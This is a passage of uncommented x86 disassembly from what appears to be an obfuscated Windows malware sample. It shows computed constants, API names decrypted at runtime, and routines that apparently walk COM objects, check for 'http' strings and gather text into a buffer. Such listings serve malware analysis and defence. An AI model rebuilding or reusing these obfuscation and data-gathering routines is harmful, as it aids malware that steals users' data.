esp, 8 mov edi, eax inc edi mov [ebp+var_40E98], edi push [ebp+var_40E84] call ds:dword_54DF34 cmp [ebp+var_40E57], 68h jnz short loc_442A8C cmp [ebp+var_40E56], 74h jnz short loc_442A8C cmp [ebp+var_40E55], 74h jnz short loc_442A8C cmp [ebp+var_40E54], 70h jz short loc_442A91 loc_442A8C: ; CODE XREF: sub_44296E+101j ; sub_44296E+10Aj ... jmp loc_4437B9 ; --------------------------------------------------------------------------- loc_442A91: ; CODE XREF: sub_44296E+11Cj lea eax, [ebp+var_30E4C] push eax mov eax, [ebp+var_40E60] push eax mov edi, [eax] call dword ptr [edi+94h] mov ebx, eax mov eax, dword_54F184 add eax, dword_54F18C sub eax, 5 cmp ebx, eax jz short loc_442ACC mov eax, dword_54F180 add eax, dword_54F0BC mov [ebp+var_30E4C], eax loc_442ACC: ; CODE XREF: sub_44296E+14Bj lea eax, [ebp+var_40E68] push eax mov eax, [ebp+var_40E60] push eax mov edi, [eax] call dword ptr [edi+48h] mov ebx, eax mov eax, dword_54F130 dec eax cmp ebx, eax jnz loc_4437B9 lea eax, [ebp+var_40E6C] push eax push offset dword_550A28 mov eax, [ebp+var_40E68] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_54F10C sub eax, 2 cmp ebx, eax jnz loc_4437AD lea eax, [ebp+var_40E70] push eax mov eax, [ebp+var_40E6C] push eax mov edi, [eax] call dword ptr [edi+5Ch] mov ebx, eax mov eax, dword_54F124 add eax, dword_54F090 sub eax, 6 cmp ebx, eax jnz loc_4437A1 lea eax, [ebp+var_40E90] push eax mov eax, [ebp+var_40E70] push eax mov edi, [eax] call dword ptr [edi+20h] mov ebx, eax mov eax, dword_54F1C0 add eax, dword_54F200 sub eax, 6 cmp ebx, eax jnz loc_443795 mov eax, dword_54F1D4 add eax, dword_54F23C sub eax, 7 neg eax mov [ebp+var_40E5C], eax push offset dword_54F788 call sub_43DEC5 push eax call ds:dword_44700C mov [ebp+var_30E44], eax push offset dword_54F774 call sub_43DEC5 push eax call ds:dword_44700C mov [ebp+var_30E48], eax movsx eax, word_54F09C mov edx, dword_54F22C sub edx, 7 mov [ebp+eax+var_30D44], dl mov eax, dword_54F0E0 add eax, dword_54F170 mov [ebp+eax+var_30D4A], 44h mov eax, dword_54F248 movsx edx, word_54F0CC add eax, edx mov [ebp+eax+var_30D44], 7Ch lea eax, [ebp+var_40E57] push eax lea eax, [ebp+var_30D40] push eax call ds:dword_44602C add esp, 10h loc_442C0E: ; CODE XREF: sub_44296E+DFBj movsx eax, word_54F194 dec eax mov [ebp+var_40E8C], eax mov eax, dword_54F114 add eax, dword_54F150 sub eax, 5 mov [ebp+var_40E88], eax movsx eax, word_54F164 add eax, dword_54F1BC sub eax, 6 neg eax cmp [ebp+var_40E5C], eax jnz short loc_442C91 lea eax, [ebp+var_30E54] push eax mov eax, [ebp+var_40E6C] push eax mov edi, [eax] call dword ptr [edi+38h] mov ebx, eax movsx eax, word_54F210 sub eax, 5 cmp ebx, eax jnz loc_443757 push offset byte_54F763 call sub_43AAF7 push eax lea edi, [ebp+var_30D40] push edi call ds:dword_44602C add esp, 0Ch jmp loc_442DAD ; --------------------------------------------------------------------------- loc_442C91: ; CODE XREF: sub_44296E+2DAj mov [ebp+var_40EA8], 17h mov eax, [ebp+var_40E5C] mov [ebp+var_40EA0], eax lea eax, [ebp+var_40EB8] push eax lea eax, [ebp+var_40EA8] push eax mov eax, [ebp+var_40E70] push eax mov esi, [eax] call dword ptr [esi+1Ch] lea eax, [ebp+var_40E88] push eax push offset dword_550A78 push [ebp+var_40EB0] mov edi, [ebp+var_40EB0] mov edi, [edi] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_54F1F8 add eax, dword_54F184 sub eax, 7 cmp ebx, eax jnz loc_443757 lea eax, [ebp+var_40E8C] push eax mov eax, [ebp+var_40E88] push eax mov edi, [eax] call dword ptr [edi+0D0h] mov ebx, eax mov eax, dword_54F238 add eax, dword_54F21C sub eax, 4 cmp ebx, eax jz short loc_442D34 mov eax, [ebp+var_40E88] push eax mov esi, [eax] call dword ptr [esi+8] jmp loc_443757 ; --------------------------------------------------------------------------- loc_442D34: ; CODE XREF: sub_44296E+3B3j lea eax, [ebp+var_30E54] push eax mov eax, [ebp+var_40E8C] push eax mov edi, [eax] call dword ptr [edi+38h] mov ebx, eax mov eax, dword_54F100 add eax, dword_54F234 sub eax, 11h cmp ebx, eax jz short loc_442D78 mov eax, [ebp+var_40E8C] push eax mov esi, [eax] call dword ptr [esi+8] mov eax, [ebp+var_40E88] push eax mov esi, [eax] call dword ptr [esi+8] jmp loc_443757 ; --------------------------------------------------------------------------- loc_442D78: ; CODE XREF: sub_44296E+3EBj push offset dword_54F754 call sub_43AAF7 push [ebp+var_40E5C] push eax lea edi, [ebp+var_30E3F] push edi call ds:dword_50C928 lea eax, [ebp+var_30E3F] push eax lea eax, [ebp+var_30D40] push eax call ds:dword_44602C add esp, 18h loc_442DAD: ; CODE XREF: sub_44296E+31Ej lea eax, [ebp+var_30E58] push eax mov eax, [ebp+var_30E54] push eax mov edi, [eax] call dword ptr [edi+24h] mov ebx, eax mov eax, dword_54F0C8 add eax, dword_54F0A4 sub eax, 8 cmp ebx, eax jnz loc_443757 movsx eax, word_54F0C4 sub eax, 6 mov [ebp+var_30E50], eax jmp loc_443745 ; --------------------------------------------------------------------------- loc_442DED: ; CODE XREF: sub_44296E+DE3j mov [ebp+var_60ED0], 2 mov eax, [ebp+var_30E50] mov [ebp+var_60EC8], eax movsx eax, word_54F1C4 add eax, dword_54F1F4 mov edx, dword_54F15C sub edx, 4 mov [ebp+eax+var_50EAC], dl lea eax, [ebp+var_60EC0] push eax lea esi, [ebp+var_60ED0] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd lea esi, [ebp+var_60ED0] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+var_30E54] push edi mov edi, [edi] call dword ptr [edi+2Ch] mov ebx, eax movsx eax, word_54F0C4 sub eax, 6 cmp ebx, eax jnz loc_44373F push offset word_54F746 call sub_43AAF7 push [ebp+var_30E50] push eax lea edi, [ebp+var_30E3F] push edi call ds:dword_50C928 lea eax, [ebp+var_30E3F] push eax lea eax, [ebp+var_30D40] push eax call ds:dword_44602C add esp, 18h movsx eax, word_54F0CC add eax, dword_54F1E4 sub eax, 5 mov [ebp+var_60ED4], eax lea eax, [ebp+var_60ED4] push eax push offset dword_550A48 mov eax, [ebp+var_60EC0] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_54F22C add eax, dword_54F224 sub eax, 8 cmp ebx, eax jnz loc_4433A0 lea eax, [ebp+var_60ED8] push eax mov eax, [ebp+var_60ED4] push eax mov edi, [eax] call dword ptr [edi+0F0h] mov ebx, eax mov eax, dword_54F154 add eax, dword_54F174 sub eax, 0Fh cmp ebx, eax jnz loc_443394 lea eax, [ebp+var_60E9F] push eax push [ebp+var_60ED8] call sub_43BBFE add esp, 8 mov edi, eax inc edi mov [ebp+var_60EB8], edi push [ebp+var_60ED8] call ds:dword_54DF34 mov eax, dword_54F248 sub eax, 4 mov [ebp+var_40E9C], eax jmp short loc_442F9B ; --------------------------------------------------------------------------- loc_442F51: ; CODE XREF: sub_44296E+639j mov eax, [ebp+var_40E9C] movsx eax, [ebp+eax+var_60E9F] mov edx, dword_54F1AC add edx, 0Bh cmp eax, edx jz short loc_442F7F mov edx, dword_54F134 add edx, 4 add edx, dword_54F170 cmp eax, edx jnz short loc_442F95 loc_442F7F: ; CODE XREF: sub_44296E+5FCj mov eax, [ebp+var_40E9C] mov edx, dword_54F15C sub edx, 4 mov [ebp+eax+var_60E9F], dl loc_442F95: ; CODE XREF: sub_44296E+60Fj inc [ebp+var_40E9C] loc_442F9B: ; CODE XREF: sub_44296E+5E1j mov eax, [ebp+var_60EB8] cmp [ebp+var_40E9C], eax jb short loc_442F51 lea eax, [ebp+var_60E9F] push eax lea eax, [ebp+var_50E9B] push eax call sub_4455D4 movsx eax, word_54F09C add eax, dword_54F124 sub eax, 8 mov [ebp+var_40E9C], eax loc_442FD2: ; CODE XREF: sub_44296E+7A5j mov eax, [ebp+var_40E9C] lea ecx, [ebp+eax+var_60E9F] or eax, 0FFFFFFFFh loc_442FE2: ; CODE XREF: sub_44296E+679j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_442FE2 mov [ebp+var_60EA8], eax mov edx, dword_54F23C mov ecx, edx add ecx, edx cmp eax, ecx jz short loc_443015 movsx edx, word_54F218 mov ecx, dword_54F0E0 lea edx, [edx+ecx+0C2h] cmp eax, edx jbe short loc_44301A loc_443015: ; CODE XREF: sub_44296E+68Dj jmp loc_4430EA ; --------------------------------------------------------------------------- loc_44301A: ; CODE XREF: sub_44296E+6A5j movsx eax, word_54F244 sub eax, 7 mov [ebp+var_60EA4], eax jmp short loc_443054 ; --------------------------------------------------------------------------- loc_44302C: ; CODE XREF: sub_44296E+6F2j mov eax, [ebp+var_40E9C] add eax, [ebp+var_60EA4] movsx eax, [ebp+eax+var_60E9F] movsx edx, word_54F0FC add edx, 1Eh cmp eax, edx jnz short loc_443062 inc [ebp+var_60EA4] loc_443054: ; CODE XREF: sub_44296E+6BCj mov eax, [ebp+var_60EA8] cmp [ebp+var_60EA4], eax jb short loc_44302C loc_443062: ; CODE XREF: sub_44296E+6DEj mov eax, [ebp+var_60EA8] cmp [ebp+var_60EA4], eax jz short loc_4430EA movsx eax, word_54F0FC dec eax push eax mov eax, [ebp+var_40E9C] lea eax, [ebp+eax+var_60E9F] push eax lea eax, [ebp+var_50E9B] push eax call sub_43DE22 add esp, 0Ch mov [ebp+var_60EDC], eax mov eax, dword_54F180 add eax, 0FFF7h add eax, dword_54F234 cmp [ebp+var_60EDC], eax jnz short loc_4430EA push offset byte_54F741 call sub_43AAF7 push eax lea edi, [ebp+var_50E9B] push edi call ds:dword_44602C mov eax, [ebp+var_40E9C] lea eax, [ebp+eax+var_60E9F] push eax lea eax, [ebp+var_50E9B] push eax call ds:dword_44602C add esp, 14h loc_4430EA: ; CODE XREF: sub_44296E:loc_443015j ; sub_44296E+700j ... mov eax, [ebp+var_60EA8] mov edx, dword_54F19C add edx, dword_54F1C0 sub edx, 4 add eax, edx add [ebp+var_40E9C], eax mov eax, [ebp+var_60EB8] cmp [ebp+var_40E9C], eax jb loc_442FD2 mov eax, dword_54F20C sub eax, 4 mov [ebp+var_60EB4], eax lea ecx, [ebp+var_50E9B] or eax, 0FFFFFFFFh loc_443130: ; CODE XREF: sub_44296E+7C7j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_443130 mov [ebp+var_60EA8], eax mov eax, dword_54F1C0 sub eax, 1 mov [ebp+var_40E9C], eax jmp loc_443363 ; --------------------------------------------------------------------------- loc_443150: ; CODE XREF: sub_44296E+A01j mov eax, [ebp+var_40E9C] movzx eax, [ebp+eax+var_50E9B] mov edx, dword_54F134 add edx, 15h add edx, dword_54F098 cmp eax, edx jz short loc_443178 and [ebp+var_60EAC], 0 loc_443178: ; CODE XREF: sub_44296E+801j mov eax, [ebp+var_40E9C] movzx eax, [ebp+eax+var_50E9B] mov edx, dword_54F1DC add edx, 20h cmp eax, edx jnz loc_443309 mov eax, dword_54F184 sub eax, 4 cmp [ebp+var_40E9C], eax jbe loc_44325B mov eax, [ebp+var_40E9C] movsx edx, word_54F128 add edx, dword_54F158 sub edx, 7 sub eax, edx mov al, [ebp+eax+var_50E9B] mov [ebp+var_60EDD], al movzx eax, [ebp+var_60EDD] mov edx, dword_54F14C add edx, 1Eh cmp eax, edx jle short loc_4431F1 mov edx, dword_54F0E8 add edx, 2Fh cmp eax, edx jl short loc_443251 loc_4431F1: ; CODE XREF: sub_44296E+874j movzx eax, [ebp+var_60EDD] movsx edx, word_54F164 mov ecx, dword_54F1AC lea edx, [edx+ecx+36h] cmp eax, edx jle short loc_443222 movsx edx, word_54F1CC mov ecx, dword_54F1A0 lea edx, [edx+ecx+30h] cmp eax, edx jl short loc_443251 loc_443222: ; CODE XREF: sub_44296E+89Dj movzx eax, [ebp+var_60EDD] movsx edx, word_54F194 mov ecx, dword_54F0E0 lea edx, [edx+ecx+73h] cmp eax, edx jle short loc_44325B mov edx, dword_54F0AC add edx, 78h add edx, dword_54F1DC cmp eax, edx jge short loc_44325B loc_443251: ; CODE XREF: sub_44296E+881j ; sub_44296E+8B2j mov [ebp+var_60EAC], 1 loc_44325B: ; CODE XREF: sub_44296E+837j ; sub_44296E+8CEj ... mov eax, [ebp+var_60EA8] cmp [ebp+var_40E9C], eax jnb loc_443309 mov eax, [ebp+var_40E9C] mov edx, dword_54F098 sub edx, 8 add eax, edx mov al, [ebp+eax+var_50E9B] mov [ebp+var_60EDD], al movzx eax, [ebp+var_60EDD] mov edx, dword_54F1F4 add edx, 15h add edx, dword_54F204 cmp eax, edx jle short loc_4432BB mov edx, dword_54F188 add edx, 29h movsx ecx, word_54F094 add edx, ecx cmp eax, edx jl short loc_4432FF loc_4432BB: ; CODE XREF: sub_44296E+935j movzx eax, [ebp+var_60EDD] mov edx, dword_54F21C add edx, 35h cmp eax, edx jle short loc_4432DC mov edx, dword_54F1F8 add edx, 3Eh cmp eax, edx jl short loc_4432FF loc_4432DC: ; CODE XREF: sub_44296E+95Fj movzx eax, [ebp+var_60EDD] movsx edx, word_54F138 add edx, 77h cmp eax, edx jle short loc_443309 movsx edx, word_54F0CC add edx, 7Eh cmp eax, edx jge short loc_443309 loc_4432FF: ; CODE XREF: sub_44296E+94Bj ; sub_44296E+96Cj mov [ebp+var_60EAC], 1 loc_443309: ; CODE XREF: sub_44296E+823j ; sub_44296E+8F9j ... cmp [ebp+var_60EAC], 0 jnz short loc_443332 mov eax, [ebp+var_60EB4] mov edx, [ebp+var_40E9C] mov dl, [ebp+edx+var_50E9B] mov [ebp+eax+var_50E9B], dl inc [ebp+var_60EB4] loc_443332: ; CODE XREF: sub_44296E+9A2j mov eax, [ebp+var_40E9C] movzx eax, [ebp+eax+var_50E9B] mov edx, dword_54F0D8 add edx, 18h add edx, dword_54F10C cmp eax, edx jnz short loc_44335D mov [ebp+var_60EAC], 1 loc_44335D: ; CODE XREF: sub_44296E+9E3j inc [ebp+var_40E9C] loc_443363: ; CODE XREF: sub_44296E+7DDj mov eax, [ebp+var_60EA8] cmp [ebp+var_40E9C], eax jb loc_443150 mov eax, [ebp+var_60EB4] mov edx, dword_54F1B0 movsx ecx, word_54F09C add edx, ecx sub edx, 0Dh mov [ebp+eax+var_50E9B], dl loc_443394: ; CODE XREF: sub_44296E+5A3j mov eax, [ebp+var_60ED4] push eax mov esi, [eax] call dword ptr [esi+8] loc_4433A0: ; CODE XREF: sub_44296E+575j movsx eax, word_54F13C sub eax, 9 mov [ebp+var_60EB0], eax lea eax, [ebp+var_60EB0] push eax push offset dword_550A58 mov eax, [ebp+var_60EC0] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_54F204 add eax, dword_54F180 sub eax, 2 cmp ebx, eax jnz loc_4436D2 lea eax, [ebp+var_60EBC] push eax mov eax, [ebp+var_60EB0] push eax mov edi, [eax] call dword ptr [edi+6Ch] mov ebx, eax mov eax, dword_54F124 movsx edx, word_54F128 add eax, edx sub eax, 7 cmp ebx, eax jnz loc_4436C6 mov eax, dword_54F234 sub eax, 8 mov [ebp+var_50EA0], eax jmp loc_4436B4 ; --------------------------------------------------------------------------- loc_443425: ; CODE XREF: sub_44296E+D52j mov eax, dword_54F160 add eax, dword_54F174 sub eax, 0Eh push eax call ds:dword_50C924 pop ecx mov [ebp+var_70F08], 2 mov eax, [ebp+var_50EA0] mov [ebp+var_70F00], eax lea eax, [ebp+var_70F0C] push eax lea esi, [ebp+var_70F08] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd lea esi, [ebp+var_70F08] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+var_60EB0] push edi mov edi, [edi] call dword ptr [edi+74h] mov ebx, eax movsx eax, word_54F210 movsx edx, word_54F0CC add eax, edx sub eax, 6 cmp ebx, eax jnz loc_4436AE movsx eax, word_54F094 add eax, dword_54F0A0 sub eax, 5 mov [ebp+var_70EF4], eax lea eax, [ebp+var_70EF4] push eax push offset dword_550A48 mov eax, [ebp+var_70F0C] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax movsx eax, word_54F1A8 add eax, dword_54F220 sub eax, 2 cmp ebx, eax jnz loc_4436A2 lea eax, [ebp+var_60EF0] push eax movsx eax, word_54F128 sub eax, 5 push eax push [ebp+var_30E48] mov eax, [ebp+var_70EF4] push eax mov edi, [eax] call dword ptr [edi+20h] mov ebx, eax or ebx, ebx jnz short loc_443524 cmp [ebp+var_60EF0], 8 jz short loc_443529 loc_443524: ; CODE XREF: sub_44296E+BAAj jmp loc_443696 ; --------------------------------------------------------------------------- loc_443529: ; CODE XREF: sub_44296E+BB4j mov eax, dword_54F20C add eax, dword_54F18C movsx edx, word_54F13C sub edx, 9 mov byte ptr [ebp+eax+var_70EF4], dl lea eax, [ebp+var_70EEF] push eax push [ebp+var_60EE8] call sub_43BBFE add esp, 8 mov edi, eax inc edi mov [ebp+var_71F10], edi push [ebp+var_60EE8] call ds:dword_54DF34 mov eax, dword_54F134 movsx edx, word_54F094 movsx edx, byte ptr [ebp+edx+var_70EF4+3] mov ecx, eax add ecx, eax mov eax, ecx sub eax, 4 cmp edx, eax jz loc_443696 push [ebp+var_30E4C] lea eax, [ebp+var_70EEF] push eax call sub_438324 add esp, 8 lea eax, [ebp+var_60EF0] push eax mov eax, dword_54F120 sub eax, 8 push eax push [ebp+var_30E44] mov eax, [ebp+var_70EF4] push eax mov edi, [eax] call dword ptr [edi+20h] mov ebx, eax mov eax, dword_54F220 add eax, dword_54F24C movsx edx, word_54F118 sub edx, 8 mov [ebp+eax+var_71F16], dl or ebx, ebx jnz short loc_443621 cmp [ebp+var_60EF0], 8 jnz short loc_443621 lea eax, [ebp+var_71F0B] push eax push [ebp+var_60EE8] call sub_43BBFE add esp, 8 mov edi, eax inc edi mov [ebp+var_71F14], edi push [ebp+var_60EE8] call ds:dword_54DF34 loc_443621: ; CODE XREF: sub_44296E+C7Dj ; sub_44296E+C87j push offset byte_54F739 call sub_43AAF7 push [ebp+var_50EA0] push eax lea edi, [ebp+var_30E3F] push edi call ds:dword_50C928 lea eax, [ebp+var_30E3F] push eax lea eax, [ebp+var_30D40] push eax call ds:dword_44602C lea eax, [ebp+var_71F0B] push eax lea eax, [ebp+var_30D40] push eax call ds:dword_44602C push offset dword_54F734 call sub_43AAF7 push eax lea edi, [ebp+var_30D40] push edi call ds:dword_44602C lea eax, [ebp+var_70EEF] push eax lea eax, [ebp+var_30D40] push eax call ds:dword_44602C add esp, 34h loc_443696: ; CODE XREF: sub_44296E:loc_443524j ; sub_44296E+C20j mov eax, [ebp+var_70EF4] push eax mov esi, [eax] call dword ptr [esi+8] loc_4436A2: ; CODE XREF: sub_44296E+B7Cj mov eax, [ebp+var_70F0C] push eax mov esi, [eax] call dword ptr [esi+8] loc_4436AE: ; CODE XREF: sub_44296E+B30j inc [ebp+var_50EA0] loc_4436B4: ; CODE XREF: sub_44296E+AB2j mov eax, [ebp+var_60EBC] cmp [ebp+var_50EA0], eax jb loc_443425 loc_4436C6: ; CODE XREF: sub_44296E+A9Ej mov eax, [ebp+var_60EB0] push eax mov esi, [eax] call dword ptr [esi+8] loc_4436D2: ; CODE XREF: sub_44296E+A70j mov eax, [ebp+var_60EC0] push eax mov esi, [eax] call dword ptr [esi+8] movzx eax, [ebp+var_50E9B] mov edx, dword_54F12C add edx, dword_54F180 sub edx, 8 cmp eax, edx jz short loc_44373F push offset word_54F72E call sub_43AAF7 push eax lea edi, [ebp+var_30D40] push edi call ds:dword_44602C lea eax, [ebp+var_50E9B] push eax lea eax, [ebp+var_30D40] push eax call ds:dword_44602C push offset byte_54F729 call sub_43AAF7 push eax lea edi, [ebp+var_30D40] push edi call ds:dword_44602C add esp, 20h loc_44373F: ; CODE XREF: sub_44296E+4F6j ; sub_44296E+D88j inc [ebp+var_30E50] loc_443745: ; CODE XREF: sub_44296E+47Aj mov eax, [ebp+var_30E58] cmp [ebp+var_30E50], eax jb loc_442DED loc_443757: ; CODE XREF: sub_44296E+2FDj ; sub_44296E+385j ... inc [ebp+var_40E5C] mov eax, [ebp+var_40E90] cmp [ebp+var_40E5C], eax jl loc_442C0E lea eax, [ebp+var_30D40] push eax call ds:dword_50C91C pop ecx push [ebp+var_30E48] call ds:dword_54DF34 push [ebp+var_30E44] call ds:dword_54DF34 loc_443795: ; CODE XREF: sub_44296E+1FFj mov eax, [ebp+var_40E70] push eax mov esi, [eax] call dword ptr [esi+8] loc_4437A1: ; CODE XREF: sub_44296E+1D4j mov eax, [ebp+var_40E6C] push eax mov esi, [eax] call dword ptr [esi+8] loc_4437AD: ; CODE XREF: sub_44296E+1A9j mov eax, [ebp+var_40E68] push eax mov esi, [eax] call dword ptr [esi+8] loc_4437B9: ; CODE XREF: sub_44296E+CAj ; sub_44296E:loc_442A8Cj ... mov eax, [ebp+var_40E64] push eax mov esi, [eax] call dword ptr [esi+8] loc_4437C5: ; CODE XREF: sub_44296E+51j ; sub_44296E+9Fj pop edi pop esi pop ebx leave retn sub_44296E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4437CA proc near ; DATA XREF: .data:0054F2F0o push ebp mov ebp, esp push offset dword_4495B8 call ds:dword_4899F8 mov eax, ds:dword_4495B8 pop ebp retn 4 sub_4437CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4437E1 proc near ; CODE XREF: sub_43B535+18p ; sub_43FBFD+10p ... var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push ebx push esi push edi push 0 push 80h push 3 push 0 push 3 push 80000000h push [ebp+arg_0] call ds:dword_54DB18 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_443829 cmp [ebp+arg_4], 0 jz short loc_443825 mov eax, [ebp+arg_4] mov edx, dword_54F220 add edx, dword_54F19C sub edx, 6 mov [eax], edx loc_443825: ; CODE XREF: sub_4437E1+2Ej xor eax, eax jmp short loc_443878 ; --------------------------------------------------------------------------- loc_443829: ; CODE XREF: sub_4437E1+28j mov eax, dword_54F1B4 sub eax, 4 push eax push edi call ds:dword_4CC910 mov esi, eax add eax, 10h push eax push 40h call ds:dword_4899EC mov ebx, eax push dword_54F1FC cmp [ebp+arg_4], 0 jz short loc_44385D mov eax, [ebp+arg_4] mov [ebp+var_8], eax jmp short loc_443863 ; --------------------------------------------------------------------------- loc_44385D: ; CODE XREF: sub_4437E1+72j lea eax, [ebp+var_4] mov [ebp+var_8], eax loc_443863: ; CODE XREF: sub_4437E1+7Aj push [ebp+var_8] push esi push ebx push edi call ds:dword_446034 push edi call ds:dword_4CB948 mov eax, ebx loc_443878: ; CODE XREF: sub_4437E1+46j pop edi pop esi pop ebx leave retn sub_4437E1 endp ; =============== S U B R O U T I N E ======================================= sub_44387D proc near ; DATA XREF: .data:0054F2B8o mov eax, 80004001h retn 10h sub_44387D endp ; =============== S U B R O U T I N E ======================================= sub_443885 proc near ; CODE XREF: sub_444ED7+1Bp push edi push offset byte_54F719 call sub_43AAF7 pop ecx push eax call ds:dword_449598 mov dword_54F278, eax mov eax, dword_54F168 add eax, dword_54F17C sub eax, 9 cmp dword_54F278, eax jnz short loc_4438CA push offset byte_54F709 call sub_43AAF7 pop ecx push eax call ds:dword_48A218 mov dword_54F278, eax loc_4438CA: ; CODE XREF: sub_443885+2Cj push offset dword_54F6EC call sub_43AAF7 push eax call sub_443D7B mov ds:dword_48A1E4, eax push offset byte_54F6CF call sub_43AAF7 push eax call sub_443D7B mov ds:dword_4491A8, eax push offset asc_54F6C0 ; "\v" call sub_43AAF7 push eax call sub_443D7B mov ds:dword_4CC904, eax push offset byte_54F6A7 call sub_43AAF7 push eax call sub_443D7B mov ds:dword_4CB81C, eax push offset dword_54F68C call sub_43AAF7 push eax call sub_443D7B mov ds:dword_446050, eax push offset byte_54F673 call sub_43AAF7 push eax call sub_443D7B mov ds:dword_446020, eax push offset byte_54F65F call sub_43AAF7 push eax call sub_443D7B mov ds:dword_54C968, eax push offset byte_54F649 call sub_43AAF7 push eax call sub_443D7B mov ds:dword_4899DC, eax push offset byte_54F62B call sub_43AAF7 push eax call sub_443D7B mov ds:dword_4899E8, eax push offset word_54F61A call sub_43AAF7 push eax call sub_443D7B mov ds:dword_44959C, eax push offset word_54F60A call sub_43AAF7 push eax call sub_443D7B mov ds:dword_4495A0, eax push offset off_54F5EA call sub_43AAF7 push eax call sub_443D7B mov ds:dword_447008, eax push offset byte_54F5D3 call sub_43AAF7 push eax call sub_443D7B mov ds:dword_4CC90C, eax push offset byte_54F5BF call sub_43AAF7 push eax call sub_443D7B mov ds:dword_449080, eax push offset byte_54F5AB call sub_43AAF7 push eax call sub_443D7B add esp, 78h mov ds:dword_44604C, eax pop edi retn sub_443885 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443A0A proc near ; CODE XREF: sub_4408C5+4Cp ; sub_4408C5+61p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push [ebp+arg_0] push dword_54F25C call ds:dword_4491AC mov edi, eax pop edi pop ebp retn sub_443A0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443A22 proc near ; CODE XREF: sub_443E8D+9Cp ; sub_443E8D+B4p ... var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp push ecx push ebx push edi movzx eax, [ebp+arg_0] mov ecx, 0Ah mov edx, 0CCCCCCCDh mul edx shr edx, 3 mov [ebp+var_4], edx mov edi, edx add edi, 61h mov ebx, edi mov [ebp+arg_0], bl cmp [ebp+arg_0], 6Ah jnz short loc_443A52 add [ebp+arg_0], 1 loc_443A52: ; CODE XREF: sub_443A22+2Aj mov al, [ebp+arg_0] cmp al, 65h jz short loc_443A6D cmp al, 79h jz short loc_443A6D cmp al, 75h jz short loc_443A6D cmp al, 69h jz short loc_443A6D cmp al, 6Fh jz short loc_443A6D cmp al, 61h jnz short loc_443A71 loc_443A6D: ; CODE XREF: sub_443A22+35j ; sub_443A22+39j ... add [ebp+arg_0], 1 loc_443A71: ; CODE XREF: sub_443A22+49j movzx eax, [ebp+arg_0] pop edi pop ebx leave retn sub_443A22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443A79 proc near ; CODE XREF: sub_438324+481p ; sub_438324+49Dp var_FFF = byte ptr -0FFFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_4455B4 push esi push edi push 5 push [ebp+arg_0] call ds:dword_446004 mov edi, eax loc_443A95: ; CODE XREF: sub_443A79+7Bj mov eax, dword_54F20C sub eax, 4 cmp edi, eax jnz short loc_443AA5 xor eax, eax jmp short loc_443AF6 ; --------------------------------------------------------------------------- loc_443AA5: ; CODE XREF: sub_443A79+26j push 0FFFh lea eax, [ebp+var_FFF] push eax push edi call ds:dword_447FD0 movsx eax, word_54F118 sub eax, 7 push eax push [ebp+arg_4] lea eax, [ebp+var_FFF] push eax call sub_43DE22 add esp, 0Ch mov esi, dword_54F0E4 add esi, 0FFFAh cmp eax, esi jz short loc_443AE9 mov eax, edi jmp short loc_443AF6 ; --------------------------------------------------------------------------- loc_443AE9: ; CODE XREF: sub_443A79+6Aj push 2 push edi call ds:dword_446004 mov edi, eax jmp short loc_443A95 ; --------------------------------------------------------------------------- loc_443AF6: ; CODE XREF: sub_443A79+2Aj ; sub_443A79+6Ej pop edi pop esi leave retn sub_443A79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443AFA proc near ; CODE XREF: sub_43B0C6+AEp ; sub_43B71B+45p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov ebx, [ebp+arg_0] mov eax, dword_54F120 mov esi, eax add esi, dword_54F0D8 sub esi, 0Eh movsx edi, word_54F1C4 sub edi, 8 jmp short loc_443B6A ; --------------------------------------------------------------------------- loc_443B20: ; CODE XREF: sub_443AFA+7Cj movzx edx, word ptr [ebx+edi*2] mov ecx, [ebp+arg_4] movzx ecx, word ptr [ecx+edi*2] add edx, ecx add edx, esi mov [ebp+var_4], edx mov eax, dword_54F1AC add eax, 0FFFDh cmp edx, eax jbe short loc_443B59 movsx esi, word_54F1CC sub esi, 8 mov eax, dword_54F180 add eax, 10000h sub [ebp+var_4], eax jmp short loc_443B62 ; --------------------------------------------------------------------------- loc_443B59: ; CODE XREF: sub_443AFA+44j mov esi, dword_54F170 sub esi, 4 loc_443B62: ; CODE XREF: sub_443AFA+5Dj mov edx, [ebp+var_4] mov [ebx+edi*2], dx inc edi loc_443B6A: ; CODE XREF: sub_443AFA+24j movsx eax, word_54F1A4 add eax, 1Ah cmp edi, eax jb short loc_443B20 mov eax, esi pop edi pop esi pop ebx leave retn sub_443AFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_443B7F proc near ; DATA XREF: sub_444ED7:loc_445202o var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_E = byte ptr -0Eh var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi mov esi, 43h jmp short loc_443BA4 ; --------------------------------------------------------------------------- loc_443B8F: ; CODE XREF: 